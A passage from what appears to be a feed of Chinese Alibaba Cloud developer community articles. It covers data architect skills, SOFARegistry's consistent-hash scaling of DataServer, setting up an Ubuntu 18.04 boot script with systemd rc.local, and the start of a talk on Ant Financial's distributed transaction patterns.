      • 其次,网络同样也是数据架构师必须掌握的基础知识,如何设计安全的网络机制、如何规划合理的网络配置、如何进行可靠的网络连接(包括不同虚拟网络之间以及与客户本地IDC进行连接方式等),都是数据架构师在工作中会遇到的各种挑战。
      • 最后,数据架构师需要了解各种云上数据库(包括关系型数据库、NoSQL数据库等)的应用场景、产品特性等。以及如何保障其可靠性,安全性、可用性、扩展性、成本。另外还有对象存储产品的特性,如何对视频、图片等数据进行有效的管理。如何通过CDN等手段提高用户访问响应速度。

      大数据基建

      大数据借着云计算的东风,也开始在信息时代发挥越来越重要的地位。阿里巴巴提出的数据中台概念和实践,也在云上落地开花。面对体量巨大、时效要求高、形式多样化、价值密度低的企业大数据,对于数据架构师,需要在采集、计算、存储等基础技术的原理和应用场景形成自己的知识体系。

      • 首先,数据架构师需要了解业界通用的PC端和无线端采集、爬虫采集等场景的具体方案。理解从埋点申请、可视化埋点实施、验证、发布到监控的全生命周期管理。
      • 其次,对于离线计算和实时计算的模式和原理,以及对应场景的离线计算和实时计算的产品都应该熟悉掌握,在洞察客户需求后,能合理的做计算模式的选择和判断。
      • 最后,大数据在存储上与业务系统在场景和目标上的本质区别,需要理解如HDFS的大数据存储原理、MPP架构的原理和常用场景、消息中间件用于实时计算的方式等。

      数据构建

      数据架构师很重要的职责就是思考如何对数据做合理有效的构建,形成标准、统一、可公用、可理解的公共数据,让业务能够尽情在建设好的数据上驰骋沙场,利用数据创造出业务价值。

      • 首先,好的数据体系能够对数据进行有效的横向分层,合理的纵向分类。通过数据体系的构建,能够让数据生产者更合理高效的组织数据,数据消费者能更有效的理解和获取所需数据,数据管理者能更高效的管理好数据。因此数据架构师需要能从全局上对数据体系有个整体上长远的规划。
      • 其次,数据需要能够被更好的组织和使用还需要有合理的数据建模方法论的支撑,例如基于维度建模的数据构建方式能够让数据以事实表和维度表的方式的方式向上提供数据服务,并且预先通过基于分析对象的汇总数据能够提供统一标准的业务指标定义。数据架构师需要有理解业务、抽象实体、形成模型的知识体系,并且在遇到问题时能从合理性、可扩展性、易用性、可理解性等各种角度给出模型设计的合理解决方案。
      • 最后,就算数据架构师不需要做代码开发,可是这个能力是对数据架构师最基本的要求,只有充分理解了数据加工的整个过程,才能基于数据的思维去设计好数据体系。在碰到项目开发同学遇到数据处理问题时,能够及时提供有效的帮助,对于建立项目中的信任关系也起到了关键的作用。

      数据管理

      数据质量是数据能被信任的关键,也是数据中台建设能否成功的关键。因此数据架构师需要设计事前、事中和事后的数据质量检测和处理机制,保证数据在完整性、准确性、及时性、一致性上满足业务的要求。

      数据架构师还需要保证数据治理能够形成有效的闭环,从发现治理问题、推送给责任人、引导治理动作、治理效果评估、到下一次进行新的治理问题发现,根本上杜绝数据“有人生、没人养”的困局。就像环境治理一样,只有基于体系化的长效机制才能还我们绿水青山。

      数据是一把双刃剑,因为它在给业务带来价值的同时,数据安全的问题是另一把可致企业于死地的利剑。数据架构师要对数据安全规划做在最前头,从数据产生到消亡全生命周期进行安全制度和流程的规划,同时需要通过如差分隐私、保序脱敏等各种技术手段保障数据安全。

      数据只有让业务充分使用才能产生价值,因此首先数据架构师需要思考如何提高数据的易用性,包括从数据的业务视角组织形式、数据标准口径的定义方式、基于元数据帮助业务理解数据等方式。再次,数据是有成本的,因此需要能够更好的衡量数据带来的价值,形成数据资产ROI,再配合相应的数据运营手段,才能让数据资产化和价值化互相促进发展,相爱相生。

      数据应用

      数据架构师需要能够让数据更好的服务业务,但是应抛弃疲于奔命于各种跑数取数的深渊中,需要能跳出一个个单点的需求,能更全面的思考如何主动服务业务。

      • 首先,数据架构师需要有很强的业务理解能力,对客户的业务能基于行业视角有清晰的理解,并且能基于理解做进一步的抽象,抽象出业务的本质。
      • 其次,数据架构师能从业务方的需求、对业务和数据的理解沉淀出一系列的分析思路。也需要能通过算法结合数据,思考如何进行数据的深度挖掘,挖掘出高价值数据。最终能将思路和方法通过产品化的方式沉淀,主动服务业务,与业务共创数据价值。
      • 最后,数据的本质是为了赋能商业、创造商业,因此数据架构师需要有一定的商业思维,能理解数据如何使商业更加智能,如何驱动商业的发展,如何创造新的商业形态。

      总结

      技术到业务,方法论到产品化,全局规划到细节把控,数据架构师需要在大数据的方方面面都承担起重要的作用。更重要的是,需要有对大数据行业未来的信心、对职业发展方向的恒心、对漫长落地过程的耐心、对赋能商业的热心。

      ]]>
      蚂蚁金服服务注册中心如何实现 DataServer 平滑扩缩容 | SOFARegistry 解析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      SOFAStack(Scalable Open Financial Architecture Stack )是蚂蚁金服自主研发的金融级云原生架构,包含了构建金融级云原生架构所需的各个组件,是在金融场景里锤炼出来的最佳实践。 

      SOFA:RegistryLab (1).png

      SOFARegistry 是蚂蚁金服开源的具有承载海量服务注册和订阅能力的、高可用的服务注册中心,最早源自于淘宝的初版 ConfigServer,在支付宝/蚂蚁金服的业务发展驱动下,近十年间已经演进至第五代。

      本文为《剖析 | SOFARegistry 框架》最后一篇,本篇作者404P(花名岩途)。《剖析 | SOFARegistry 框架》系列由 SOFA 团队和源码爱好者们出品,项目代号:,文末包含往期系列文章。

      GitHub 地址:https://github.com/sofastack/sofa-registry

      前言

      在微服务架构体系下,服务注册中心致力于解决微服务之间服务发现的问题。在服务数量不多的情况下,服务注册中心集群中每台机器都保存着全量的服务数据,但随着蚂蚁金服海量服务的出现,单机已无法存储所有的服务数据,数据分片成为了必然的选择。数据分片之后,每台机器只保存一部分服务数据,节点上下线就容易造成数据波动,很容易影响应用的正常运行。本文通过介绍 SOFARegistry 的分片算法和相关的核心源码来展示蚂蚁金服是如何解决上述问题的。

      服务注册中心简介

      在微服务架构下,一个互联网应用的服务端背后往往存在大量服务间的相互调用。例如服务 A 在链路上依赖于服务 B,那么在业务发生时,服务 A 需要知道服务 B 的地址,才能完成服务调用。而分布式架构下,每个服务往往都是集群部署的,集群中的机器也是经常变化的,所以服务 B 的地址不是固定不变的。如果要保证业务的可靠性,服务调用者则需要感知被调用服务的地址变化。

      image.png

      图1 微服务架构下的服务寻址

      既然成千上万的服务调用者都要感知这样的变化,那这种感知能力便下沉成为微服务中一种固定的架构模式:服务注册中心。

      image.png

      图2 服务注册中心

      服务注册中心里,有服务提供者和服务消费者两种重要的角色,服务调用方是消费者,服务被调方是提供者。对于同一台机器,往往兼具两者角色,既被其它服务调用,也调用其它服务。服务提供者将自身提供的服务信息发布到服务注册中心,服务消费者通过订阅的方式感知所依赖服务的信息是否发生变化。

      SOFARegistry 总体架构

      SOFARegistry 的架构中包括4种角色:Client、Session、Data、Meta,如图3所示:

      image.png

      图3 SOFARegistry 总体架构

      • Client 层

      应用服务器集群。Client 层是应用层,每个应用系统通过依赖注册中心相关的客户端 jar 包,通过编程方式来使用服务注册中心的服务发布和服务订阅能力。

      • Session 层

      Session 服务器集群。顾名思义,Session 层是会话层,通过长连接和 Client 层的应用服务器保持通讯,负责接收 Client 的服务发布和服务订阅请求。该层只在内存中保存各个服务的发布订阅关系,对于具体的服务信息,只在 Client 层和 Data 层之间透传转发。Session 层是无状态的,可以随着 Client 层应用规模的增长而扩容。

      • Data 层

      数据服务器集群。Data 层通过分片存储的方式保存着所用应用的服务注册数据。数据按照 dataInfoId(每一份服务数据的唯一标识)进行一致性 Hash 分片,多副本备份,保证数据的高可用。下文的重点也在于随着数据规模的增长,Data 层如何在不影响业务的前提下实现平滑的扩缩容。

      • Meta 层

      元数据服务器集群。这个集群管辖的范围是 Session 服务器集群和 Data 服务器集群的服务器信息,其角色就相当于 SOFARegistry 架构内部的服务注册中心,只不过 SOFARegistry 作为服务注册中心是服务于广大应用服务层,而 Meta 集群是服务于 SOFARegistry 内部的 Session 集群和 Data 集群,Meta 层能够感知到 Session 节点和 Data 节点的变化,并通知集群的其它节点。

      SOFARegistry 如何突破单机存储瓶颈

      在蚂蚁金服的业务规模下,单台服务器已经无法存储所有的服务注册数据,SOFARegistry 采用了数据分片的方案,每台机器只保存一部分数据,同时每台机器有多副本备份,这样理论上可以无限扩容。根据不同的数据路由方式,常见的数据分片主要分为两大类:范围分片和 Hash(哈希)分片。

      image.png

      图4 数据分片

      • 范围分片

      每一个数据分片负责存储某一键值区间范围的值。例如按照时间段进行分区,每个小时的 Key 放在对应的节点上。区间范围分片的优势在于数据分片具有连续性,可以实现区间范围查询,但是缺点在于没有对数据进行随机打散,容易存在热点数据问题。

      • Hash (哈希)分片

      Hash 分片则是通过特定的 Hash 函数将数据随机均匀地分散在各个节点中,不支持范围查询,只支持点查询,即根据某个数据的 Key 获取数据的内容。业界大多 KV(Key-Value)存储系统都支持这种方式,包括 cassandra、dynamo、membase 等。业界常见的 Hash 分片算法有哈希取模法、一致性哈希法和虚拟桶法。

      哈希取模

      哈希取模的 Hash 函数如下:

      H(Key)=hash(key)mod K;

      这是一个 key-machine 的函数。key 是数据主键,K 是物理机数量,通过数据的 key 能够直接路由到物理机器。当 K 发生变化时,会影响全体数据分布。所有节点上的数据会被重新分布,这个过程是难以在系统无感知的情况下平滑完成的。

      image.png

      图5 哈希取模

      一致性哈希

      分布式哈希表(DHT)是 P2P 网络和分布式存储中一项常见的技术,是哈希表的分布式扩展,即在每台机器存储部分数据的前提下,如何通过哈希的方式来对数据进行读写路由。其核心在于每个节点不仅只保存一部分数据,而且也只维护一部分路由,从而实现 P2P 网络节点去中心化的分布式寻址和分布式存储。DHT 是一个技术概念,其中业界最常见的一种实现方式就是一致性哈希的 Chord 算法实现。

      • 哈希空间

      一致性哈希中的哈希空间是一个数据和节点共用的一个逻辑环形空间,数据和机器通过各自的 Hash 算法得出各自在哈希空间的位置。

      image.png

      图6 数据项和数据节点共用哈希空间

      图7是一个二进制长度为5的哈希空间,该空间可以表达的数值范围是0~31(2^5),是一个首尾相接的环状序列。环上的大圈表示不同的机器节点(一般是虚拟节点),用 $$Ni$$ 来表示,$$i$$ 代表着节点在哈希空间的位置。例如,某个节点根据 IP 地址和端口号进行哈希计算后得出的值是7,那么 N7 则代表则该节点在哈希空间中的位置。由于每个物理机的配置不一样,通常配置高的物理节点会虚拟成环上的多个节点。

      image.png

      图7 长度为5的哈希空间

      环上的节点把哈希空间分成多个区间,每个节点负责存储其中一个区间的数据。例如 N14 节点负责存储 Hash 值为8~14范围内的数据,N7 节点负责存储 Hash 值为31、0~7区间的数据。环上的小圈表示实际要存储的一项数据,当一项数据通过 Hash 计算出其在哈希环中的位置后,会在环中顺时针找到离其最近的节点,该项数据将会保存在该节点上。例如,一项数据通过 Hash 计算出值为16,那么应该存在 N18 节点上。通过上述方式,就可以将数据分布式存储在集群的不同节点,实现数据分片的功能。

      • 节点下线

      如图8所示,节点 N18 出现故障被移除了,那么之前 N18 节点负责的 Hash 环区间,则被顺时针移到 N23 节点,N23 节点存储的区间由19~23扩展为15~23。N18 节点下线后,Hash 值为16的数据项将会保存在 N23 节点上。

      image.png

      图8 一致性哈希环中节点下线

      • 节点上线

      如图9所示,如果集群中上线一个新节点,其 IP 和端口进行 Hash 后的值为17,那么其节点名为 N17。那么 N17 节点所负责的哈希环区间为15~17,N23 节点负责的哈希区间缩小为18~23。N17 节点上线后,Hash 值为16的数据项将会保存在 N17 节点上。

      image.png

      图9 一致性哈希环中节点上线

      当节点动态变化时,一致性哈希仍能够保持数据的均衡性,同时也避免了全局数据的重新哈希和数据同步。但是,发生变化的两个相邻节点所负责的数据分布范围依旧是会发生变化的,这对数据同步带来了不便。数据同步一般是通过操作日志来实现的,而一致性哈希算法的操作日志往往和数据分布相关联,在数据分布范围不稳定的情况下,操作日志的位置也会随着机器动态上下线而发生变化,在这种场景下难以实现数据的精准同步。例如,上图中 Hash 环有0~31个取值,假如日志文件按照这种哈希值来命名的话,那么 data-16.log 这个文件日志最初是在 N18 节点,N18 节点下线后,N23 节点也有 data-16.log 了,N17 节点上线后,N17 节点也有 data-16.log 了。所以,需要有一种机制能够保证操作日志的位置不会因为节点动态变化而受到影响。

      虚拟桶预分片

      虚拟桶则是将 key-node 映射进行了分解,在数据项和节点之间引入了虚拟桶这一层。如图所示,数据路由分为两步,先通过 key 做 Hash 运算计算出数据项应所对应的 slot,然后再通过 slot 和节点之间的映射关系得出该数据项应该存在哪个节点上。其中 slot 数量是固定的,key - slot 之间的哈希映射关系不会因为节点的动态变化而发生改变,数据的操作日志也和slot相对应,从而保证了数据同步的可行性。

      image.png

      图10 虚拟桶预分片机制

      路由表中存储着所有节点和所有 slot 之间的映射关系,并尽量确保 slot 和节点之间的映射是均衡的。这样,在节点动态变化的时候,只需要修改路由表中 slot 和动态节点之间的关系即可,既保证了弹性扩缩容,也降低了数据同步的难度。

      SOFARegistry 的分片选择

      通过上述一致性哈希分片和虚拟桶分片的对比,我们可以总结一下它们之间的差异性:一致性哈希比较适合分布式缓存类的场景,这种场景重在解决数据均衡分布、避免数据热点和缓存加速的问题,不保证数据的高可靠,例如 Memcached;而虚拟桶则比较适合通过数据多副本来保证数据高可靠的场景,例如 Tair、Cassandra。

      显然,SOFARegistry 比较适合采用虚拟桶的方式,因为服务注册中心对于数据具有高可靠性要求。但由于历史原因,SOFARegistry 最早选择了一致性哈希分片,所以同样遇到了数据分布不固定带来的数据同步难题。我们如何解决的呢?我们通过在 DataServer 内存中以 dataInfoId 的粒度记录操作日志,并且在 DataServer 之间也是以 dataInfoId 的粒度去做数据同步(一个服务就由一个 dataInfoId 唯标识)。其实这种日志记录的思想和虚拟桶是一致的,只是每个 datainfoId 就相当于一个 slot 了,这是一种因历史原因而采取的妥协方案。在服务注册中心的场景下,datainfoId 往往对应着一个发布的服务,所以总量还是比较有限的,以蚂蚁金服目前的规模,每台 DataServer 中承载的 dataInfoId 数量也仅在数万的级别,勉强实现了 dataInfoId 作为 slot 的数据多副本同步方案。

      DataServer 扩缩容相关源码

      注:本次源码解读基于 registry-server-data 的5.3.0版本。

      DataServer 的核心启动类是 DataServerBootstrap,该类主要包含了三类组件:节点间的 bolt 通信组件、JVM 内部的事件通信组件、定时器组件。

      image.png

      图11 DataServerBootstrap 的核心组件

      • 外部节点通信组件:在该类中有3个 Server 通信对象,用于和其它外部节点进行通信。其中 httpServer 主要提供一系列 http 接口,用于 dashboard 管理、数据查询等;dataSyncServer 主要是处理一些数据同步相关的服务;dataServer 则负责数据相关服务;从其注册的 handler 来看,dataSyncServer 和 dataSever 的职责有部分重叠;
      • JVM 内部通信组件:DataServer 内部逻辑主要是通过事件驱动机制来实现的,图12列举了部分事件在事件中心的交互流程,从图中可以看到,一个事件往往会有多个投递源,非常适合用 EventCenter 来解耦事件投递和事件处理之间的逻辑;
      • 定时器组件:例如定时检测节点信息、定时检测数据版本信息;

      image.png

      图12 DataServer 中的核心事件流转

      DataServer 节点扩容

      假设随着业务规模的增长,Data 集群需要扩容新的 Data 节点。如图13,Data4 是新增的 Data 节点,当新节点  Data4 启动时,Data4 处于初始化状态,在该状态下,对于 Data4 的数据写操作被禁止,数据读操作会转发到其它节点,同时,存量节点中属于新节点的数据将会被新节点和其副本节点拉取过来。

      image.png

      图13 DataServer 节点扩容场景

      • 转发读操作

      在数据未同步完成之前,所有对新节点的读数据操作,将转发到拥有该数据分片的数据节点。

      查询服务数据处理器 GetDataHandler

      public Object doHandle(Channel channel, GetDataRequest request) {
          String dataInfoId = request.getDataInfoId();
          if (forwardService.needForward()) {  
                 // ...  如果不是WORKING状态,则需要转发读操作
              return forwardService.forwardRequest(dataInfoId, request);
          }
      }

      转发服务 ForwardServiceImpl

      public Object forwardRequest(String dataInfoId, Object request) throws RemotingException {
          // 1. get store nodes
          List<DataServerNode> dataServerNodes = DataServerNodeFactory
              .computeDataServerNodes(dataServerConfig.getLocalDataCenter(), dataInfoId,
                                      dataServerConfig.getStoreNodes());
          
          // 2. find nex node
          boolean next = false;
          String localIp = NetUtil.getLocalAddress().getHostAddress();
          DataServerNode nextNode = null;
          for (DataServerNode dataServerNode : dataServerNodes) {
              if (next) {
                  nextNode = dataServerNode;
                  break;
              }
              if (null != localIp && localIp.equals(dataServerNode.getIp())) {
                  next = true;
              }
          }
          
          // 3. invoke and return result 
      }

      转发读操作时,分为3个步骤:首先,根据当前机器所在的数据中心(每个数据中心都有一个哈希空间)、 dataInfoId 和数据备份数量(默认是3)来计算要读取的数据项所在的节点列表;其次,从这些节点列表中找出一个 IP 和本机不一致的节点作为转发目标节点;最后,将读请求转发至目标节点,并将读取的数据项返回给 session 节点。

      image.png

      图14 DataServer 节点扩容时的读请求

      • 禁止写操作

      在数据未同步完成之前,禁止对新节点的写数据操作,防止在数据同步过程中出现新的数据不一致情况。

      发布服务处理器 PublishDataHandler

      public Object doHandle(Channel channel, PublishDataRequest request) {
          if (forwardService.needForward()) {
              // ...
              response.setSuccess(false);
                 response.setMessage("Request refused, Server status is not working");
              return response;
          }
      }        

      image.png

      图15 DataServer 节点扩容时的写请求

      DataServer 节点缩容

      以图16为例,数据项 Key 12 的读写请求均落在 N14 节点上,当 N14 节点接收到写请求后,会同时将数据同步给后继的节点 N17、N23(假设此时的副本数是 3)。当 N14 节点下线,MetaServer 感知到与 N14 的连接失效后,会剔除 N14 节点,同时向各节点推送 NodeChangeResult 请求,各数据节点收到该请求后,会更新本地的节点信息,并重新计算环空间。在哈希空间重新刷新之后,数据项 Key 12 的读取请求均落在 N17 节点上,由于 N17 节点上有 N14 节点上的所有数据,所以此时的切换是平滑稳定的。

      image.png

      图16 DataServer 节点缩容时的平滑切换

      节点变更时的数据同步

      MetaServer 会通过网络连接感知到新节点上线或者下线,所有的 DataServer 中运行着一个定时刷新连接的任务 ConnectionRefreshTask,该任务定时去轮询 MetaServer,获取数据节点的信息。需要注意的是,除了 DataServer 主动去 MetaServer 拉取节点信息外,MetaServer 也会主动发送 NodeChangeResult 请求到各个节点,通知节点信息发生变化,推拉获取信息的最终效果是一致的。

      当轮询信息返回数据节点有变化时,会向 EventCenter 投递一个 DataServerChangeEvent 事件,在该事件的处理器中,如果判断出是当前机房节点信息有变化,则会投递新的事件 LocalDataServerChangeEvent,该事件的处理器 LocalDataServerChangeEventHandler 中会判断当前节点是否为新加入的节点,如果是新节点则会向其它节点发送 NotifyOnlineRequest 请求,如图17所示:

      image.png

      图17 DataServer 节点上线时新节点的逻辑

      同机房数据节点变更事件处理器 LocalDataServerChangeEventHandler

      public class LocalDataServerChangeEventHandler {
          // 同一集群数据同步器
          private class LocalClusterDataSyncer implements Runnable {
              public void run() {
                  if (LocalServerStatusEnum.WORKING == dataNodeStatus.getStatus()) {
                      //if local server is working, compare sync data
                      notifyToFetch(event, changeVersion);
                  } else {
                      dataServerCache.checkAndUpdateStatus(changeVersion);
                      //if local server is not working, notify others that i am newer
                      notifyOnline(changeVersion);;
                  }
              }
          }
      }

      图17展示的是新加入节点收到节点变更消息的处理逻辑,如果是线上已经运行的节点收到节点变更的消息,前面的处理流程都相同,不同之处在于 LocalDataServerChangeEventHandler 中会根据 Hash 环计算出变更节点(扩容场景下,变更节点是新节点,缩容场景下,变更节点是下线节点在 Hash 环中的后继节点)所负责的数据分片范围和其备份节点。当前节点遍历自身内存中的数据项,过滤出属于变更节点的分片范围的数据项,然后向变更节点和其备份节点发送 NotifyFetchDatumRequest 请求, 变更节点和其备份节点收到该请求后,其处理器会向发送者同步数据(NotifyFetchDatumHandler.fetchDatum),如图18所示。

      image.png

      图18 DataServer 节点变更时已存节点的逻辑

      总结

      SOFARegistry 为了解决海量服务注册和订阅的场景,在 DataServer 集群中采用了一致性 Hash 算法进行数据分片,突破了单机存储的瓶颈,理论上提供了无限扩展的可能性。同时 SOFARegistry 为了实现数据的高可用,在 DataServer 内存中以 dataInfoId 的粒度记录服务数据,并在 DataServer 之间通过 dataInfoId 的纬度进行数据同步,保障了数据一致性的同时也实现了 DataServer 平滑地扩缩容。

      SOFARegistryLab 系列阅读

      ]]>
      ubuntu 18.04 如何设置开机自动启动脚本-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 117.jpg
      镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

      一、概述

      Ubuntu 18.04版本默认没有/etc/rc.local文件,已经无法通过在该文件中添加脚本来保证开机自动执行。那如何保证自己写的脚本可以开机自动运行呢?从Ubuntu 16.10版本开始不再使用initd管理系统,改用systemd管理系统,而通过systemd管理系统可以实现开机运行自己的脚本 ,本文讲解如何通过systemd来实现开机自动运行脚本。

      二、配置方法

      注意:

      • 如果您对实例或数据有修改、变更等风险操作,务必注意实例的容灾、容错能力,确保数据安全。
      • 如果您对实例(包括但不限于ECS、RDS)等进行配置与数据修改,建议提前创建快照或开启RDS日志备份等功能。
      • 如果您在阿里云平台授权或者提交过登录账号、密码等安全信息,建议您及时修改。

      systemd管理系统默认读取/etc/systemd/system的配置文件,该目录下的文件会链接/lib/systemd/system/的文件。执行ls /lib/systemd/system命令可以看到有很多启动脚本,其中就需要打开rc.local.service文件并查看内容。

      #  This file is part of systemd.
      #
      #  systemd is free software; you can redistribute it and/or modify it
      #  under the terms of the GNU Lesser General Public License as published by
      #  the Free Software Foundation; either version 2.1 of the License, or
      #  (at your option) any later version.
      # This unit gets pulled automatically into multi-user.target by
      # systemd-rc-local-generator if /etc/rc.local is executable.
      [Unit]
      Description=/etc/rc.local Compatibility
      ConditionFileIsExecutable=/etc/rc.local
      After=network.target
      [Service]
      Type=forking
      ExecStart=/etc/rc.local start
      TimeoutSec=0
      RemainAfterExit=yes

      正常的启动文件主要分成以下三部分:

      • [Unit]段: 启动顺序与依赖关系。
      • [Service]段: 启动行为,如何启动,启动类型。
      • [Install]段: 定义如何安装这个配置文件,即怎样做到开机启动。

      可以看出/etc/rc.local文件的启动顺序是在网络后面,但是显然它少了[Install]段,也就没有定义如何做到开机启动,所以这样配置是无效的。因此我们就需要在后面帮他加上[Install]段:

      [Install]  
      WantedBy=multi-user.target
      Alias=rc-local.service

      因为Ubuntu18.04默认没有/etc/rc.local这个文件,因此需要创建。然后您需要将开机启动脚本写入/etc/rc.local文件,最后测试开机启动后在root Home目录下生成以下文本文件。

      #!/bin/bash
      # rc.local
      #
      # This script is executed at the end of each multiuser runlevel.
      # Make sure that the script will "exit 0" on success or any other
      # value on error.
      #
      # In order to enable or disable this script just change the execution
      # bits.
      #
      # By default this script does nothing.
      echo Test file > ~root/text.log
      exit 0

      注意 :脚本或者开机执行的命令要在exit0之前。

      1、在/etc/systemd/system目录下创建rc.local.service服务的软链接。

      ln -s /lib/systemd/system/rc.local.service /etc/systemd/system/

      2、或者执行以下命令,设置开机自启动该服务。

      systemctl enable rc-local.service

      阿里巴巴开源镜像站 提供全面,高效和稳定的镜像下载服务。钉钉搜索 ' 21746399 ‘ 加入镜像站官方用户交流群。”

      ]]>
      蚂蚁金服分布式事务实践解析 | SOFAChannel#12 直播整理-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      ,有趣实用的分布式架构频道。
      本文根据 SOFAChannel#12 直播分享整理,主题:蚂蚁金服分布式事务实践解析。
      回顾视频以及 PPT 查看地址见文末。欢迎加入直播互动钉钉群 : 30315793,不错过每场直播。

      image.png

      大家好,我是今天分享的讲师仁空,目前是蚂蚁金服分布式事务产品的研发。今天跟大家分享的是蚂蚁金服分布式事务实践解析,也就是分布式事务 Seata 在蚂蚁金服内部的实践。

      今天我们将从以下 4 个主题进行详细介绍:

      • 为什么会有分布式事务产品的需求;
      • 理论界针对这个需求提出的一些理论和解决方案;
      • 蚂蚁金服在工程上是如何解决这个问题的;
      • 针对蚂蚁金服业务场景的性能优化;

      分布式事务产生背景

      首先是分布式事务产生的背景。

      支付宝支付产品在 2003 年上线的时候,那时候的软件形态是单体应用,在一个应用内完成所有的业务逻辑操作。随着软件的工业化,场景越来越复杂,软件也越做越大,所有的业务在一个应用内去完成变的不可能,出现了软件模块化、服务化。

      在从单体应用升级到分布式架构过程中,很自然得需要进行业务服务拆分,将原来糅在一个系统中的业务进行梳理,拆分出能独立成体系的各个子系统,例如交易系统、支付系统、账务系统等,这个过程就是服务化。业务服务拆分之后,原来一个服务就能完成的业务操作现在需要跨多个服务进行了。

      image.png

      另一个就是数据库拆分,分库分表。原来的单体数据库存不下的这么多信息,按服务维度拆库,比如把用户相关的存一起,形成用户库,订单放一块形成订单库,这个是拆库的过程;另一个是拆表,用户信息按照用户 ID 散列到不同的 DB 中,水平拆分,数据库的容量增大了。这样分库分表之后,写操作就会跨多个数据库了。

      image.png

      分布式事务理论基础

      我们可以看到,在分布式架构中,跨数据库、跨服务的问题是天然存在的。一个业务操作的完成,需要经过多个服务配合完成,这些服务操作的数据可能在一个机房中,也可能跨机房存在,如果中间某一个服务因为网络或机房硬件的问题发生了抖动,怎么保证这笔业务最终的状态是正确的,比如支付场景,怎么防止我转钱给你的过程中,我的钱扣了,而对方的账户并没有收到钱。这个就是业务最终一致性的问题,是分布式事务需要解决的问题。

      2PC 协议

      针对这个问题,理论界也提出了解决方案,其中最为人熟知的就是二阶段协议了,简称2PC(Two Phase Commitment Protocol)两阶段提交协议。

      两阶段提交协议,就是把整个过程分成了两个阶段,这其中,它把参与整个过程的实体分成了两类角色,一个叫事务管理器或事务协调者,一个叫资源管理器,事务管理器我们也把它叫做事务发起方,资源管理器称为事务参与者。

      image.png

      两个阶段,第一个阶段是资源准备阶段,比如我要转账,我要先查询下我的余额够不够,够的话我就把余额资源预留起来,然后告诉发起方“我准备好了”,第二个阶段,事务发起方根据各个参与者的反馈,决定事务的二阶段操作是提交还是取消。

      TCC 协议

      另一个协议是 TCC 协议,各个参与者需要实现3个操作:Try、Confirm 和 Cancel,3个操作对应2个阶段,Try 方法是一阶段的资源检测和预留阶段,Confirm 和 Cancel 对应二阶段的提交和回滚。

      image.png

      图中,事务开启的时候,由发起方去触发一阶段的方法,然后根据各个参与者的返回状态,决定二阶段是调 Confirm 还是 Cancel 方法。

      蚂蚁金服分布式事务介绍

      2019年,蚂蚁金服跟阿里巴巴共同开源了分布式事务 Seata ,目前 Seata 已经有 TCC、AT、Saga 模式,Seata 意为:Simple Extensible Autonomous Transaction Architecture,是一套一站式分布式事务解决方案。今天的分享也是 Seata 在蚂蚁金服内部的实践。

      分布式事务在蚂蚁金服的发展

      基于上述的理论,接下来我们详细看下蚂蚁金服的分布式事务实现。

      image.png

      经过多年的发展,蚂蚁金服内部针对不同的场景发展了几种不同的模式,最早的是 TCC 模式,也就是上面讲的 Try - confirm - Cancel,我们定义接口规范,业务自己实现这3个操作。这个模式提供了更多的灵活性,因为是业务自己实现的,用户可以介入两阶段提交过程,以达到特殊场景下的自定义优化及特殊功能的实现,这个模式能几乎满足任何我们想到的事务场景,比如自定义补偿型事务、自定义资源预留型事务、消息事务等场景。TCC 模式广泛用于蚂蚁金服内部各金融核心系统。

      这里要强调一点的是,TCC 模式与底层数据库事务实现无关,是一个抽象的基于 Service 层的概念,也就是说,在 TCC 的范围内,无论是关系型数据库 MySQL,Oracle,还是 KV 存储 MemCache,或者列式存储数据库 HBase,只要将对它们的操作包装成 TCC 的参与者,就可以接入到 TCC 事务范围内。

      TCC 模式的好处是灵活性,弊端是牺牲了易用性,接入难度比较大,所有参与者需要进行改造提供 Try - Confirm - Cancel 三个方法。为了解决 TCC 模式的易用性问题,蚂蚁金服分布式事务推出了框架管理事务模式(Framework - Managed Transactions,简称 FMT),也就是 Seata 中的 AT 模式。FMT 模式解决分布式事务的易用性问题,最大的特点是易于使用、快速接入、对业务代码无侵入。

      XA 模式是依赖于底层数据库实现的。

      Saga 模式是基于冲正模型实现的一个事务模式,现在的银行业金融机构普遍用的是冲正模型。

      这期我们重点讲 TCC 和 FMT,关于 Saga 模式,之前 Saga 模式也有专场直播分享过,感兴趣的可以看一下之前的直播回顾:《Seata 长事务解决方案 Saga 模式 | SOFAChannel#10 回顾》。

      TCC 模式在蚂蚁金服内的使用

      首先看下 TCC 模式,主要包含一下几个模块:

      • 参与者,它要实现全部的三个方法,Try、Confirm 和 Cancel;
      • 发起方,主要是作为协调者的角色,编排各个参与者,比如调用参与者的一阶段方法,决策二阶段是执行提交还是回滚;

      图片 2.png

      举个例子,比如在这个流程图中,存在一个发起方和两个参与者,两个参与者分别实现了 Try、Confirm 和 Cancel 接口,第一阶段被包含在发起方的本地事务模版中(图中黄颜色的两条虚线就是发起方本地事务的范围),也就是说发起方负责调用各个参与者的一阶段方法,发起方的本地事务结束后,开始执行二阶段操作,二阶段结束则整个分布式事务结束。

      二阶段是通过 Spring 提供的事务同步器实现的,发起方在发起一个分布式事务的时候,会注册一个事务同步器,当发起方本地事务结束的时候,会进入事务同步器的回调方法中。如果发起方的本地事务失败,则在回调中自动回滚所有参与者。如果发起方的本地事务成功,则二阶段自动提交所有参与者。二阶段结束后,删除所有事务记录。

      总结一下:

      1. 事务发起方是分布式事务的协调者;
      2. 分布式事务必须在本地事务模板中进行,发起方本地事务的最终状态(提交或回滚)决定整个分布式事务的最终状态;
      3. 发起方主职责:开启一个分布式事务 + 调用参与者一阶段方法。发起方实现的时候,首先是开启一个本地事务,调用 Start 开启分布式事务,框架会自动注册一个 Spring 事务同步器,然后发起方发起对参与者 Try 方法的调用,当有一个 Try 方法失败,则阻断发起方本地事务,状态置为回滚;否则,所有的参与者 Try 成功,整个分布式事务的状态就是提交。框架会利用事务同步器自动去执行参与者的二阶段方法;
      4. 使用数据库持久化记录事务数据,也就是会跟踪发起方和各个参与者的状态,我们称为主事务状态和分支事务状态。这样我们就知道一个大事务整体是处于什么状态,每个参与者又是什么状态,当一笔事务失败时,我们就能捞起那些失败的参与者,进行补偿重试;

      上面讲了整个流程以及发起方的实现内容,现在看下业务在实现参与者的时候,需要遵循以下规范:

      • 业务模型分二阶段设计;
      • 幂等控制;
      • 并发控制;
      • 允许空回滚;
      • 防悬挂控制;

      我们逐个了解一下:

      • 二阶段设计

